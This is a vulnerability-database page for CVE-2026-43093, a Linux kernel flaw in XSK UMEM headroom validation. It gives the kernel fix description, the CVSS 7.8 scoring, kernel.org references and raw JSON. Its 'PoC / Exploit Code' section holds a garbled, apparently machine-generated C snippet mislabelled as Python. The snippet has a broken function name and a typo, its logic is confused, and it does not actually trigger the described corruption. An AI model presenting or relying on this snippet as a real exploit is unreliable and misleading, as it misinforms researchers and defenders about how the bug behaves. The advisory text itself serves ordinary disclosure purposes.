Security Vulnerability Report
中文
CVE-2026-43093 CVSS 7.8 HIGH

CVE-2026-43093

Published: 2026-05-06 10:16:23
Last Modified: 2026-05-08 13:16:39
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: xsk: tighten UMEM headroom validation to account for tailroom and min frame The current headroom validation in xdp_umem_reg() could leave us with insufficient space dedicated to even receive minimum-sized ethernet frame. Furthermore if multi-buffer would come to play then skb_shared_info stored at the end of XSK frame would be corrupted. HW typically works with 128-aligned sizes so let us provide this value as bare minimum. Multi-buffer setting is known later in the configuration process so besides accounting for 128 bytes, let us also take care of tailroom space upfront.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Linux Kernel (Mainline)
Linux Kernel (Stable branches prior to fix)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <linux/if_xdp.h> #include <bpf/xsk.h> // This is a conceptual PoC for CVE-2026-43093 // It attempts to register a UMEM with insufficient headroom // which might trigger the vulnerability on unpatched kernels. int main() { struct xsk_socket_config xsk_cfg; struct xsk_umem_config umem_cfg; struct xsk_umem *umem; struct xsk_socket *xsk; void *buffer; int ret; // Set buffer size (e.g., 4096 bytes) int buf_size = 4096; posixa ligned_memalign(&buffer, getpagesize(), buf_size); memset(&umem_cfg, 0, sizeof(umem_cfg)); // Vulnerable configuration: setting headroom to a value that // doesn't account for tailroom/skb_shared_info (e.g., 0 or very small) umem_cfg.fill_size = buf_size; umem_cfg.comp_size = 0; // No completion ring umem_cfg.frame_size = 2048; umem_cfg.frame_headroom = 0; // Potentially insufficient headroom // Try to create UMEM with the vulnerable configuration ret = xsk_umem__create(&umem, buffer, buf_size, NULL, NULL, &umem_cfg); if (ret != 0) { printf("Failed to create UEM (expected on patched kernels): %s\n", strerror(-ret)); return 1; } printf("UMEM created with potentially vulnerable headroom.\n"); // Further steps would involve binding to a network interface and traffic // to trigger the corruption of skb_shared_info. xsk_umem__delete(umem); free(buffer); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43093", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T10:16:22.667", "lastModified": "2026-05-08T13:16:38.907", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxsk: tighten UMEM headroom validation to account for tailroom and min frame\n\nThe current headroom validation in xdp_umem_reg() could leave us with\ninsufficient space dedicated to even receive minimum-sized ethernet\nframe. Furthermore if multi-buffer would come to play then\nskb_shared_info stored at the end of XSK frame would be corrupted.\n\nHW typically works with 128-aligned sizes so let us provide this value\nas bare minimum.\n\nMulti-buffer setting is known later in the configuration process so\nbesides accounting for 128 bytes, let us also take care of tailroom space\nupfront."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "references": [{"url": "https://git.kernel.org/stable/c/0ec4d3f6e6934deb843b561ae048cd17218e5ad1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/6523bc1b40e69301f24c14338b762af4739d6d39", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/9ea6ba4f3195dcba6e8b3e7b2e748593b7cafb12", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/a03975beb9f6af0d8ac051e30b2abeabe618414f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/a315e022a72d95ef5f1d4e58e903cb492b0ad931", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}